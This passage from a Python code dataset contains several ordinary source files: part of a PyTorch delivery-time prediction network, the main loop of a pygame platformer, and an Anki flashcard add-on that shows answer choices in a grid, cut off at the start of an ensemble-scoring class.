nn.Embedding(config.got_time_day_range, config.embadding_dim)\n # # self.got_time_hour_em = nn.Embedding(config.got_time_hour_range, config.embadding_dim)\n # self.dlved_time_day_em = nn.Embedding(config.dlved_time_day_range, config.embadding_dim)\n # # self.dlved_time_hour_em = nn.Embedding(config.dlved_time_hour_range, config.embadding_dim)\n\n self.em_dic['plat_form'] = self.plat_form_em\n self.em_dic['biz_type'] = self.biz_type_em\n self.em_dic['product_id'] = self.product_id_em\n self.em_dic['cate1_id'] = self.cate1_id_em\n self.em_dic['cate2_id'] = self.cate2_id_em\n self.em_dic['cate3_id'] = self.cate3_id_em\n self.em_dic['seller_uid'] = self.seller_uid_em\n self.em_dic['company_name'] = self.company_name_em\n self.em_dic['rvcr_prov_name'] = self.rvcr_prov_name_em\n self.em_dic['rvcr_city_name'] = self.rvcr_city_name_em\n # self.em_dic['lgst_company'] = self.lgst_company_em\n # self.em_dic['warehouse_id'] = self.warehouse_id_em\n # self.em_dic['shipped_prov_id'] = self.shipped_prov_id_em\n # self.em_dic['shipped_city_id'] = self.shipped_city_id_em\n self.em_dic['payed_hour'] = self.payed_hour_em\n self.em_dic['pre_days'] = self.pre_days_em\n # self.em_dic['shipped_time_day'] = self.shipped_time_day_em\n # # self.em_dic['shipped_time_hour'] = self.shipped_time_hour_em\n # self.em_dic['got_time_day'] = self.got_time_day_em\n # # self.em_dic['got_time_hour'] = self.got_time_hour_em\n # self.em_dic['dlved_time_day'] = self.dlved_time_day_em\n # # self.em_dic['dlved_time_hour'] = self.dlved_time_hour_em\n self.em_keys = self.em_dic.keys()\n\n self.pre_dic = {}\n\n self.share_layer = nn.Sequential(\n nn.Linear(len(self.em_dic) * config.embadding_dim, 4096),\n nn.BatchNorm1d(4096),nn.Dropout(config.dropout_rate),\n nn.ReLU(inplace=True),\n nn.Linear(4096, 4096),\n nn.BatchNorm1d(4096),nn.Dropout(config.dropout_rate),\n nn.ReLU(inplace=True)\n )\n\n # self.share_layers = []\n # self.share_layers.append(block(len(self.em_dic) * config.embadding_dim, config.blocks[0]))\n # self.share_layers += [block(config.blocks[i-1], config.blocks[i]) for i in range(1, len(config.blocks))]\n\n # self.share_layer = nn.Sequential(*self.share_layers)\n\n self.delta_days_pres = [block(config.fc_cells, config.fc_cells) for i in range(config.num_blocks)]\n self.delta_days_pre = nn.Sequential(\n nn.Linear(config.blocks[-1], config.fc_cells),\n nn.BatchNorm1d(config.fc_cells),nn.Dropout(config.dropout_rate),\n nn.ReLU(inplace=True),\n nn.Linear(\n config.fc_cells, config.fc_cells), \n nn.BatchNorm1d(config.fc_cells),\n nn.Dropout(config.dropout_rate),\n nn.ReLU(inplace=True),\n nn.Linear(\n config.fc_cells, config.fc_cells), \n nn.BatchNorm1d(config.fc_cells),\n nn.Dropout(config.dropout_rate),\n nn.ReLU(inplace=True),\n nn.Linear(\n config.fc_cells, config.fc_cells), \n nn.BatchNorm1d(config.fc_cells),\n nn.Dropout(config.dropout_rate),\n nn.Linear(\n config.fc_cells, config.fc_cells), \n nn.BatchNorm1d(config.fc_cells),\n nn.Dropout(config.dropout_rate),\n nn.ReLU(inplace=True),\n *self.delta_days_pres,\n nn.Linear(config.fc_cells, 1))\n \n \n \n\n self.hour_pres = [block(config.fc_cells, config.fc_cells) for i in range(config.num_blocks)]\n self.hour_pre = nn.Sequential(\n nn.Linear(config.blocks[-1], config.fc_cells),\n nn.BatchNorm1d(config.fc_cells), nn.Dropout(config.dropout_rate),\n nn.ReLU(inplace=True),\n nn.Linear(\n config.fc_cells, config.fc_cells), \n nn.BatchNorm1d(config.fc_cells),\n nn.Dropout(config.dropout_rate),\n nn.ReLU(inplace=True),\n nn.Linear(\n config.fc_cells, config.fc_cells), \n nn.BatchNorm1d(config.fc_cells),\n nn.Dropout(config.dropout_rate),\n nn.ReLU(inplace=True),\n nn.Linear(\n config.fc_cells, config.fc_cells), \n nn.BatchNorm1d(config.fc_cells),\n nn.Dropout(config.dropout_rate),\n \n nn.ReLU(inplace=True),\n nn.Linear(config.fc_cells, config.fc_cells),\n nn.BatchNorm1d(config.fc_cells), \n nn.Dropout(config.dropout_rate), \n \n nn.ReLU(inplace=True), \n *self.delta_days_pres,\n nn.Linear(config.fc_cells, 1))\n\n #self.shipped_time_day_pre = nn.Sequential(\n # nn.Linear(config.blocks[-1], config.fc_cells),\n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True), nn.Linear(\n # config.fc_cells, config.fc_cells), \n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True),\n # nn.Linear(\n # config.fc_cells, config.fc_cells), \n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True),\n # nn.Linear(config.fc_cells, 1))\n\n #self.shipped_time_hour_pre = nn.Sequential(\n # nn.Linear(config.blocks[-1], config.fc_cells),\n # nn.BatchNorm1d(config.fc_cells), nn.Dropout(),\n # nn.ReLU(inplace=True), nn.Linear(\n # config.fc_cells, config.fc_cells), \n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True),\n # nn.Linear(\n # config.fc_cells, config.fc_cells), \n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True),\n # nn.Linear(config.fc_cells, 1))\n\n #self.got_time_day_pre = nn.Sequential(\n # nn.Linear(config.blocks[-1], config.fc_cells),\n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True), nn.Linear(\n # config.fc_cells, config.fc_cells), \n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True),\n # nn.Linear(\n # config.fc_cells, config.fc_cells), \n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True),\n # nn.Linear(config.fc_cells, 1))\n\n #self.got_time_hour_pre = nn.Sequential(\n # nn.Linear(config.blocks[-1], config.fc_cells),\n # nn.BatchNorm1d(config.fc_cells), nn.Dropout(),\n # nn.ReLU(inplace=True), nn.Linear(\n # config.fc_cells, config.fc_cells), \n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True),\n # nn.Linear(\n # config.fc_cells, config.fc_cells), \n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True),\n # nn.Linear(config.fc_cells, 1))\n\n #self.dlved_time_day_pre = nn.Sequential(\n # nn.Linear(config.blocks[-1], config.fc_cells),\n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True), \n # nn.Linear(\n # config.fc_cells, config.fc_cells), \n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True),\n # nn.Linear(\n # config.fc_cells, config.fc_cells), \n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True),\n # nn.Linear(config.fc_cells, 1))\n\n #self.dlved_time_hour_pre = nn.Sequential(\n # nn.Linear(config.blocks[-1], config.fc_cells),\n # nn.BatchNorm1d(config.fc_cells), nn.Dropout(),\n # nn.ReLU(inplace=True), nn.Linear(\n # config.fc_cells, config.fc_cells), \n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True),\n # nn.Linear(\n # config.fc_cells, config.fc_cells), \n # nn.BatchNorm1d(config.fc_cells),nn.Dropout(),\n # nn.ReLU(inplace=True),\n # nn.Linear(config.fc_cells, 1))\n\n self.scale_dic = {'delta_days':1, 'hour':1, 'shipped_time_day':1, 'shipped_time_hour':1, 'got_time_day':1,'got_time_hour':1, 'dlved_time_day':1,'dlved_time_hour':1 }\n\n self.pre_dic['delta_days'] = self.delta_days_pre\n self.pre_dic['hour'] = self.hour_pre\n #self.pre_dic['shipped_time_day'] = self.shipped_time_day_pre\n #self.pre_dic['shipped_time_hour'] = self.shipped_time_hour_pre\n #self.pre_dic['got_time_day'] = self.got_time_day_pre\n #self.pre_dic['got_time_hour'] = self.got_time_hour_pre\n #self.pre_dic['dlved_time_day'] = self.dlved_time_day_pre\n #self.pre_dic['dlved_time_hour'] = self.dlved_time_hour_pre\n self.pre_keys = self.pre_dic.keys()\n\n\n def forward(self, dic):\n em_list = [self.em_dic[k](dic[k]) for k in self.em_keys]\n #print(em_list)\n em_vec = torch.cat(em_list, dim=1)\n em_vec = self.share_layer(em_vec)\n\n d = {}\n for k in self.pre_keys:\n d[k] = self.pre_dic[k](em_vec)*self.scale_dic[k]\n d['delta_days'] = torch.clamp(d['delta_days'], -2, 15)+2\n d['delta_days'] = torch.clamp(d['delta_days'], 1, 20)\n d['hour'] = torch.clamp(d['hour'], 3, 23) \n #d['shipped_time_day'] = torch.clamp(d['shipped_time_day'], -8, 8) +8\n #d['shipped_time_hour'] = torch.clamp(d['shipped_time_hour'], -12,12)+12\n #d['got_time_day'] = torch.clamp(d['got_time_day'], -8, 8) +8\n #d['got_time_hour'] = torch.clamp(d['got_time_hour'], -12,12)+12\n #d['dlved_time_day'] = torch.clamp(d['dlved_time_day'], -8, 8) +8\n #d['dlved_time_hour'] = torch.clamp(d['dlved_time_hour'], -12,12)+12\n return d\n\n","sub_path":"SeedCup_hhhhh/net/FullConnected.py","file_name":"FullConnected.py","file_ext":"py","file_size_in_byte":13187,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"566259660","text":"## Hooked ##\n## Main Loop ##\n\n## Modules ##\nimport pygame\nfrom pygame.locals import *\nfrom fpsclock import *\nimport random\nimport math\nimport sys\nimport os\nimport first, second, third, fourth, fifth, sixth, seventh\nimport character\nimport death\n\npygame.init() #start all modules in pygame \n\n############### GENERAL #################\n\n## FPS Clock ##\ntimer = FpsClock()\ndelay_duration = 10\n\n## Pathing ## \n\nClymbers = os.path.realpath(os.path.dirname(\"Awesome-Game\"))\nMenu = os.path.join(Clymbers, \"Menu\")\nSounds = os.path.join(Menu, \"Sounds\")\nImages = os.path.join(Menu, \"Images\")\n\n## Display Variables ##\ndheight = 755 \ndwidth = 1200 \nwindow = pygame.display.set_mode((dwidth,dheight)) #makes the window \npygame.display.set_caption(\"-Clymber-\") #sets the game caption\n \n\n################ MENU ##################\n\n\"\"\" ALL IMAGES AND SOUNDS ARE IN THEIR RESPECTIVE FUCTIONS \"\"\"\n\n##Functions\n#Byte Me Animation\ndef byte_me():\n #Images\n Byte_Me_imagepath = os.path.join(Images, \"Byte_Me_Games.jpg\") #where the file is\n Byte_Me_image = pygame.image.load(Byte_Me_imagepath) #load the file\n #Sound\n Byte_Me_soundpath = os.path.join(Sounds,\"Om Nom Nom.ogg\") \n Byte_Me_sound = pygame.mixer.Sound(Byte_Me_soundpath)\n #Volume\n Byte_Me_sound.set_volume(0.5)\n #Loop\n window.fill((255,255,255))\n window.blit(Byte_Me_image,(475,300))\n pygame.display.update()\n pygame.time.delay(500)\n Byte_Me_sound.play()\n pygame.time.delay(2000) \n\n#MOOSIC\n## menu_song = pygame.mixer.Sound(\"jump.ogg\") # Menu Music\n## game_song = pygame.mixer.Sound(\"instant_win.ogg\") # Game Music\n## menu_song.set_volume(0.3)\n## game_song.set_volume(0.3)\n\n\n#Lvl Select Loop\ndef lvl_select():\n #Images\n Lvl_Select_imagepath = os.path.join(Images, \"Lvl_Select.jpg\")\n Lvl_Select_image = pygame.image.load(Lvl_Select_imagepath)\n #Loop\n run_lvl = True\n while run_lvl == True:\n window.blit(Lvl_Select_image, (0,0))\n pygame.display.update()\n for event in pygame.event.get():\n if event.type == QUIT or event.type == KEYDOWN and event.key == K_ESCAPE: \n sys.exit()\n if event.type == MOUSEBUTTONDOWN:\n mousex, mousey = pygame.mouse.get_pos()\n #Levels\n if mousex >= 100 and mousex <= 200 and mousey >= 150 and mousey <= 250: #level 1 \n return 1\n if mousex >= 250 and mousex <= 350 and mousey >= 150 and mousey <= 250: #level 2\n return 2\n if mousex >= 400 and mousex <= 500 and mousey >= 150 and mousey <= 250: #level 3\n return 3\n if mousex >= 550 and mousex <= 650 and mousey >= 150 and mousey <= 250: #level 4\n return 4\n if mousex >= 700 and mousex <= 800 and mousey >= 150 and mousey <= 250: #level 5\n return 5\n if mousex >= 850 and mousex <= 950 and mousey >= 150 and mousey <= 250: #level 5 #BlatantLies\n return 6\n if mousex >= 1000 and mousex <= 1100 and mousey >= 150 and mousey <= 250: #level ? #UselessComments #UsingCommentsLikeHashtags\n return 7\n #Return Button\n if mousex >= 1000 and mousex <= (1000 + 175) and mousey >= 675 and mousey <= (675 + 50): #return to main menu\n return 0 \n\n#Options Loop\ndef options():\n #Images\n Options_imagepath = os.path.join(Images, \"Options.jpg\")\n Options_image = pygame.image.load(Options_imagepath)\n #Loop\n run_options = True\n while run_options == True:\n window.blit(Options_image, (0,0))\n pygame.display.update()\n for event in pygame.event.get():\n if event.type == QUIT or event.type == KEYDOWN and event.key == K_ESCAPE: \n sys.exit()\n if event.type == MOUSEBUTTONDOWN:\n mousex, mousey = pygame.mouse.get_pos()\n if mousex >= 950 and mousex <= 1175 and mousey >= 600 and mousey <= 750: #exit button\n run_options = False\n\n#Main Menu Loop\ndef main_menu():\n #Images\n Main_Menu_imagepath = os.path.join(Images, \"Main_Menu.jpg\")\n Main_Menu_image = pygame.image.load(Main_Menu_imagepath)\n #Loop\n run_menu = True\n #menu_song.play(-1)\n while run_menu == True:\n window.blit(Main_Menu_image, (0,0))\n for event in pygame.event.get():\n ## if event.type == KEYDOWN:\n ## if event.key == K_PLUS or event.key == K_KP_PLUS:\n ## if menu_song.get_volume() <= 1.0:\n ## menu_song.set_volume(menu_song.get_volume() + .1)\n ## elif event.key == K_MINUS or event.key == K_KP_MINUS:\n ## if menu_song.get_volume() >= 0.:\n ## menu_song.set_volume(menu_song.get_volume() - .1)\n if event.type == QUIT or event.type == KEYDOWN and event.key == K_ESCAPE: \n sys.exit()\n if event.type == MOUSEBUTTONDOWN:\n mousex, mousey = pygame.mouse.get_pos()\n if mousex >= 450 and mousex <= (450 + 300) and mousey >= 200 and mousey <= (200 + 75): #start is pushed \n run_menu = False #leave menu-starts game with default level 1\n level = 1\n #menu_song.stop()\n return level\n if mousex >= 298 and mousex <= (298 + 650) and mousey >= 285 and mousey <= (285 + 75): #lvlselect is pushed\n level = lvl_select()\n if level != 0: #if the return button was not clicked\n #menu_song.stop()\n return level\n if mousex >= 425 and mousex <= (425 + 350) and mousey >= 325 and mousey <= (325 + 100):# options is pushed\n #not sure how this is going to work #neither am i\n options()\n #This changes things in other modules.\n if mousex >=425 and mousex <= (425 + 350) and mousey >= 525 and mousey <= (525 + 100):\n sys.exit()\n pygame.display.update()\n\n\ndef draw_deaths(deaths):\n \"\"\"grabbed from our space invaders\"\"\"\n score_font = pygame.font.Font(\"Futura MdCn BT-Italic.ttf\", 18)\n score_render = score_font.render((\"DEATHS: \" + str(deaths)), True, (0,0,0))\n quit_render = score_font.render(\"EXIT TO MAIN MENU\", True, (0,0,0))\n window.blit(score_render, (15,10)) #This places the score in the corner\n window.blit(quit_render, (1050,10)) #This places the score in the corner\n\n############### GAME ######################\n\n## Functions\ndef play_level(player, player_group, spike_group, platform_group, badguy_group, hook_group, background_image, level):\n left_rope_group = pygame.sprite.Group()\n right_rope_group = pygame.sprite.Group()\n timer.begin()\n while not player.win:\n #game_song.play(-1)\n if player.reset:\n #this needs to happen because otherwise play_level never ends\n #it needs to return level so that play_game knows what level it is, since\n #level is a local variable for some retarded reason\n return level\n #play_game(level) # starts the level over when user presses r\n window.blit(background_image, (0,0))\n duration = timer.get_frame_duration()\n hook_group = character.player_input(player, hook_group) #checks for hooks\n #LOL this is retarded\n if hook_group == 99999:\n level = main_menu()\n return level\n player.colliding(platform_group, duration, hook_group)\n for hook in hook_group:\n hook.update(platform_group, player, duration,left_rope_group,right_rope_group) # this order is important:\n window.blit(hook.image, hook.rect.topleft)\n if hook.side == 'left': pygame.draw.line(window, hook.color, hook.rect.center, player.rect.center, 2)\n if hook.side == 'right': pygame.draw.line(window, hook.color, hook.rect.center, player.rect.center, 2)\n for rope in right_rope_group:\n window.blit(rope.image, rope.rect.topleft)\n player.move(duration)\n window.blit(player.image, player.rect.topleft) \n for goomba in badguy_group:\n window.blit(goomba.image, goomba.rect.topleft)\n badguy_group.update(platform_group, player_group, duration)\n for platform in platform_group:\n pygame.draw.rect(window,platform.color,platform.rect)\n for spike in spike_group:\n window.blit(spike.image, spike.rect.topleft)\n draw_deaths(death.counter)\n spike_group.update(player_group, platform_group, duration)\n pygame.display.update()\n pygame.time.delay(delay_duration)\n timer.tick()\n if player.win:\n level +=1\n #this needs to happen because otherwise play_level never ends\n #it needs to return level so that play_game knows what level it is, since\n #level is a local variable for some retarded reason\n return level\n play_game(level)\n \n#Play Game\ndef play_game(level):\n run_play = True\n while run_play == True:\n #game_song.play(-1)\n if level > 7:\n # game_song.stop()\n death.counter = 0\n level = 1 #main_menu()\n if level == 1:\n player, player_group, spike_group, platform_group, badguy_group, hook_group, environment_group = first.setup()\n elif level == 2:\n player, player_group, spike_group, platform_group, badguy_group, hook_group, environment_group = second.setup()\n elif level == 3:\n player, player_group, spike_group, platform_group, badguy_group, hook_group, environment_group = third.setup()\n elif level == 4:\n player, player_group, spike_group, platform_group, badguy_group, hook_group, environment_group = fourth.setup()\n elif level == 5:\n player, player_group, spike_group, platform_group, badguy_group, hook_group, environment_group = fifth.setup()\n elif level == 6:\n player, player_group, spike_group, platform_group, badguy_group, hook_group, environment_group = sixth.setup()\n elif level == 7:\n player, player_group, spike_group, platform_group, badguy_group, hook_group, environment_group = seventh.setup()\n\n #this needs to happen because otherwise play_level never ends\n #it needs to return level so that play_game knows what level it is, since\n #level is a local variable for some retarded reason\n level = play_level(player, player_group, spike_group, platform_group, badguy_group, hook_group, environment_group, level)\n\n################# LOOPS ###################\n\n## Run Varibles ##\nrun_main = True\nrun_logo = False\nrun_menu = True\nrun_game = True\n\nwhile run_main == True: #quit is outside of this function. In order to quit set the run_main variable to false.\n if run_logo == True:\n byte_me() #runs the opening logo.\n run_logo = False #DONT MAKE THIS TRUE AGAIN.\n pygame.event.clear() #gets rid of possible mouse presses before menu appears\n if run_menu == True:\n #play menu song here\n level = main_menu() #the menu will return a number, which will be the level to play. \n if run_game == True:\n play_game(level)\nsys.exit() #outside of function. In order to quit set the run variable to false.\n","sub_path":"Main_Loop.py","file_name":"Main_Loop.py","file_ext":"py","file_size_in_byte":11480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"588881452","text":"import string, random, re\nfrom aqt.utils import showInfo\nfrom anki.utils import json\nfrom aqt.utils import restoreGeom, saveGeom\nfrom aqt import mw\nfrom aqt.qt import *\n#from aqt.utils import showInfo, askUserDialog, getFile\n#from aqt.utils import mungeQA, getBase, openLink, tooltip, askUserDialog\nfrom aqt.webview import AnkiWebView\nfrom aqt.reviewer import Reviewer\nfrom anki.sound import playFromText, clearAudioQueue\nfrom grid import Ui_gridDialog\n # TODO in grid.ui: CHANGES TO REDO IN DESIGNER: use of AnkiWebView; removal of Ok/Cancel buttons\n # OR, eliminate grid.py altogether (it's just one UI element anyway)\n\ndef msgBox(m):\n text = '{}\\n\\n- {}'.format(m, GridDlg._appLabel)\n showInfo(text)\n\nclass GridDlg(QDialog):\n\n _appLabel=\"FlashGrid v0.17\"\n _gridSize = 2\n _gkey = \"FlashGridPopup\" \n\n @staticmethod\n def gridOn():\n if not mw.col.conf.has_key('FlashGrid'):\n mw.col.conf['FlashGrid'] = {'gridOn': True}\n return mw.col.conf['FlashGrid']['gridOn']\n\n @staticmethod\n def setGridOn(val): # assumption: gridOn() will always have been called at least once before this\n mw.col.conf['FlashGrid']['gridOn'] = val\n\n \n @staticmethod\n def toggleGridSize():\n GridDlg._gridSize = 3 if (GridDlg._gridSize == 2) else 2\n msgBox(\"Ok. Toggled to %s x %s.\" % (GridDlg._gridSize, GridDlg._gridSize)) # msgbox / messagebox\n\n def _myLinkHandler(self, url):\n ''' Handles when the user clicks on a table cell or the Replay Audio link\n '''\n url = url.lower()\n if \"closepopup\" in url:\n ret = 0\n try:\n label, val = url.split(\":\")\n val = int(val)\n if (val > 0):\n ret = val\n except ValueError:\n pass # i.e. ret = 0\n self.closeMaybe(ret)\n \n if \"replayaudio\" in url:\n mw.reviewer.replayAudio()\n \n def _myKeyHandler(self, evt):\n #key = evt.key()\n key = evt.text().lower()\n if key == u'r':\n mw.reviewer.replayAudio()\n return\n\n ua = unicode(string.lowercase, errors='ignore')\n if key and key in ua:\n number = GridDlg.toNumber(key)\n self.closeMaybe(number)\n \n\n def closeMaybe(self, n):\n self.saveGeo()\n if (n == 0 or n == self.correct): # 0 = cancel\n self.done(n)\n \n def __init__(self, reviewer):\n QDialog.__init__(self)\n \n # Create the UI dialog (created using Qt Designer)\n self.ui = Ui_gridDialog()\n self.ui.setupUi(self)\n\n v = self.ui.gridView\n v.setLinkHandler(self._myLinkHandler)\n v.setKeyHandler(self._myKeyHandler)\n \n # WARNING: the following could interfere with other addons, or future versions of Anki\n #reviewer.web.setKeyHandler(self._myKeyHandler) # just for convenience, when the grid isn't showing\n \n self.correct = random.randint(1, GridDlg._gridSize**2) # e.g. a number from 1 to 4 (inclusive)\n\n # Connect up the buttons.\n #self.ui.okButton.clicked.connect(self.accept)\n #self.ui.cancelButton.clicked.connect(self.reject) \n\n # Prepare the HTML container (i.e. grid without flashcard content)\n\n def setGeo(self):\n gkey = GridDlg._gkey\n mem = gkey + \"Geom\" in mw.pm.profile\n if not mem:\n # I have no memory of this...\n screen = QDesktopWidget().screenGeometry()\n screen = QDesktopWidget().availableGeometry() \n width = screen.width() - 10\n height = screen.height() - 25\n self.setGeometry(0, 0, width, height) # may be too big, esp. if primary monitor is not the highest res\n self.show() # detect and adjust if the window got sized down by the OS (usually it's just a few pixels)\n self.move(0, 0)\n else:\n # I remember a size and location\n restoreGeom(self, gkey, offset=None, adjustSize=False)\n self.show()\n\n def saveGeo(self):\n saveGeom(self, GridDlg._gkey) # remember this size and location for next time\n\n @staticmethod\n def resetGeo():\n tmp = mw.pm.profile.pop(GridDlg._gkey + \"Geom\", None) # forget any size/location info we might have\n return tmp\n \n \n @staticmethod\n def toLetter(n):\n letters = string.lowercase #OR alphabet = string.letters[26:52] # grabbing the lowercase ones \n tmp = letters[n-1]\n return tmp\n \n @staticmethod\n def toNumber(c):\n tmp = ord(c) - ord('a') + 1 # our numbering scheme is not zero-based\n return tmp\n \n def showAnswerGrid(self, card, rev):\n dialog = self\n \n view = dialog.ui.gridView\n \n cardFrontHtml = renderOneQA(rev, card, \"question\")\n tmp = json.dumps(cardFrontHtml)\n tmp = '_append(\"%s\", %s);' % ('fgCardFront', tmp)\n view.page().mainFrame().evaluateJavaScript(tmp)\n \n gridw = GridDlg._gridSize\n gridh = gridw # still assuming a square grid (for now anyway)\n size = gridh*gridw\n \n dummy = '''\nnot found\n'''\n cards = [dummy for i in range(size)] # i.e. 4 or 9 dummies\n cards[dialog.correct-1] = renderOneQA(rev, card, \"answer\") # put in the real answer \n \n deckName = mw.col.decks.current()['name']\n search = '-is:suspended deck:\"%s\"' % deckName\n cardsFound = mw.col.findCards(search) #e.g. '-is:suspended deck:indonesian-lift-dictionary-Orig'\n random.shuffle(cardsFound)\n cardsFound = cardsFound or []\n \n i = 0\n for c in cardsFound: # at most; but usually we'll quit after gridw*gridh\n id = i+1 # these are offset by one since grid's id-numbering is 1-based but array is 0-based\n if (id > size):\n break\n if (c == card.id) or (id == dialog.correct): # don't use current card nor steal its cell\n i += 1\n continue\n else:\n cellCard = mw.col.getCard(c) # mw.col.findCards(\"cid:%s\" % c)\n if not cellCard or (cellCard.template() != card.template()):\n # do NOT increment i\n continue # something went wrong finding that card (throw exception?)\n \n cards[i] = renderOneQA(rev, cellCard, \"answer\")\n \n i += 1\n \n klass = \"card card%d\" % (card.ord+1)\n\n for i in range(size):\n txt = cards[i]\n id = i+1\n cards[i] = '%s' % (klass, gridHtmlCell(id, txt))\n if ((id % gridw == 0) and (id < size)): # use modulus to identify/create end of row\n cards[i] += gridHtmlBetweenRows()\n\n toInsert = '\\n'.join(cards)\n \n toInsert = '''\n %s\n
''' % (klass, toInsert) \n\n tmp = json.dumps(toInsert)\n tmp = '_append(\"%s\", %s);' % ('fgCardGridArea', tmp)\n \n #self.web.eval(tmp) # NO, instead of the Reviewer doing this, have the popup view do it\n view.page().mainFrame().evaluateJavaScript(tmp)\n \n #self._showEaseButtons() # NO, not in the grid\n \n h = view.page().mainFrame().toHtml()\n h = h.encode('utf-8')\n f = open('gridtemp.tmp.html', 'w') # this file is very helpful when debugging, because you can open it in a browser, experiment with its CSS, etc. \n f.write(h)\n f.close()\n \ndef renderOneQA(rev, card, qa = \"answer\"):\n ''' Creates HTML to plug into the specified grid cell.\n '''\n\n origState = rev.state\n rev.state = qa # necessary to get correct results from _mungeQA()\n \n c = card\n \n if qa == \"answer\":\n html = c.a() #BACK\n\n #if there's a way to reach in and remove CardFront\n #before it is rendered to html, that would be better.\n '''\n afmt = c.template()['afmt']\n if GridDlg.needRemoveFront(afmt):\n af = removeFront(afmt)\n # temporarily swap afmt and af\n '''\n else:\n html = c.q() #FRONT\n \n # play audio? # NO, not in the grid\n \n html = rev._mungeQA(html)\n html = removeFront(html)\n a = html\n klass = \"card card%d\" % (c.ord+1)\n #tmp = \"_updateA(%s, true, %s);\" % (json.dumps(a), klass)\n\n # DON'T show answer / ease buttons\n\n rev.state = origState\n\n html = a\n # html = json.dumps(a) # NOT until we've added our html\n\n # user hook\n #runHook('showAnswer') # NO, we assume other addons' behavior here is unwanted\n\n return html\n\n tmp = '
%s
' % (klass, html) # problem: it's hard to stretch this div vertically to fill its containing td\n return tmp\n\n #Would using frames (iframes) allow us to zoom out instead of trying to resize images and fonts? \n #frames = v.page().mainFrame().childFrames()\n #for frame in frames:\n # frame.setHtml(h1)\n #frames[0].setHtml(h2)\n #v.setHtml(h2)\n \n\n''' \ndef needRemoveFront(cardString):\n return (\"{{FrontSide}}\" in cardString) or (\", if one exists \n s3 = re.sub(pat, '', s2)\n return s3\n\n''' \ndef extractStyle(html):\n s, h = '', html\n import re\n pat = \"(?s)\"\n match = re.search(pat, html)\n if match:\n s = match.group(0)\n html = re.sub(pat, '', html)\n return s, h\n'''\n \ndef gridHtmlCell(cellId, content, linkLabel=None):\n ''' To get no label, you must explicitly pass in an empty string.\n '''\n if (linkLabel != ''):\n cellLetter = GridDlg.toLetter(cellId)\n linkLabel = '%s.' % cellLetter\n else:\n linkLabel = ''\n \n #cellLetter = GridDlg.toLetter(cellId)\n \n tmp = '''\n %s
\n%s
\n''' % (cellId, linkLabel, content)\n return tmp\n \n tmp = '''\n
\n \n %s
\n%s
\n
\n''' % (cellId, cellId, linkLabel, content)\n return tmp\n\ndef gridHtmlBetweenRows(): \n return '''\n\n'''\n \n \ndef gridHtml(style='', head='', klass='card', width=800-20, height=600-40):\n # TODO: find a way to use % rather than px in the CSS, yet still handle vertical spacing\n \n buffer = 20\n maxCellW = (width / (GridDlg._gridSize + 1)) - buffer\n maxImgW = int( maxCellW * 0.8 ) # image shouldn't use more than 80% of a cell's width\n maxCellH = (height / GridDlg._gridSize) - buffer\n maxImgH = int( maxCellH * 0.7 )\n \n # works for img, but not sure how to use maxImgH to enforce the max cell height\n \n rowHeight = int (100 / GridDlg._gridSize) # gives a pct: 50% or 33% \n \n \n replayAudio = 'Replay Media'\n \n mainHtml = '''\n\n\n\n\n\n\n%s\n\n\n\n\n
\n\n \n
\n
\n

%s

\n

%s

\n
\n\n \n\n\n
\n\n\n
\n\n\n\n''' % (style, height, height, maxImgW, maxImgH, rowHeight, head, klass, replayAudio, GridDlg._appLabel)\n return mainHtml\n\ndef onGridOffOnClicked():\n GridDlg.setGridOn(not GridDlg.gridOn()) #toggle\n if GridDlg.gridOn():\n tmp = \"On.\"\n else: \n tmp = \"Off. Popup window size reset.\"\n GridDlg.resetGeo()\n \n msgBox(\"FlashGrids are now %s\" % (tmp)) # msgbox / messagebox\n\ndef onSizeClicked():\n from aqt.reviewer import Reviewer\n GridDlg.toggleGridSize()\n\nmw.form.menuTools.addSeparator()\nstringGen = \"FlashGrid toggle off/on\"\n# create a new menu item in Anki\naction = QAction(stringGen, mw)\n# set it to call our function when it's clicked\nmw.connect(action, SIGNAL(\"triggered()\"), onGridOffOnClicked)\n# and add it to the tools menu\nmw.form.menuTools.addAction(action)\n\naction = QAction(\"FlashGrid toggle grid size\", mw)\nmw.connect(action, SIGNAL(\"triggered()\"), onSizeClicked)\nmw.form.menuTools.addAction(action)\n\n\n","sub_path":"flashgrid/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":13618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"16525033","text":"from models.model_factory import ModelFactory\nimport numpy as np\nfrom statistics import mode\nfrom helpers.score_metrics import ScoreMetrics\nfrom helpers.class_imbalance_sampling import ImbalanceSampling\nfrom sklearn.preprocessing import LabelEncoder, normalize, scale\nfrom itertools import product\n\n\n\nclass Ensemble:\n @staticmethod\n def get_ensemble_score(mode, features_train_text, features_train_notext,\n features_test_text, features_test_notext, y_train, y_test, w1, w2, imbalance_sampling=None):\n if mode == 'MAX_VOTE':\n return Ensemble.ensemble_max_vote(features_train_text, features_train_notext,\n features_test_text, features_test_notext, y_train, y_test, imbalance_sampling)\n elif mode == 'AVERAGING':\n return Ensemble.ensemble_averaging(features_train_text, features_train_notext,\n features_test_text, features_test_notext, y_train, y_test, w1, w2, imbalance_sampling)\n\n @staticmethod\n def ensemble_max_vote(features_train_text, features_train_notext,\n 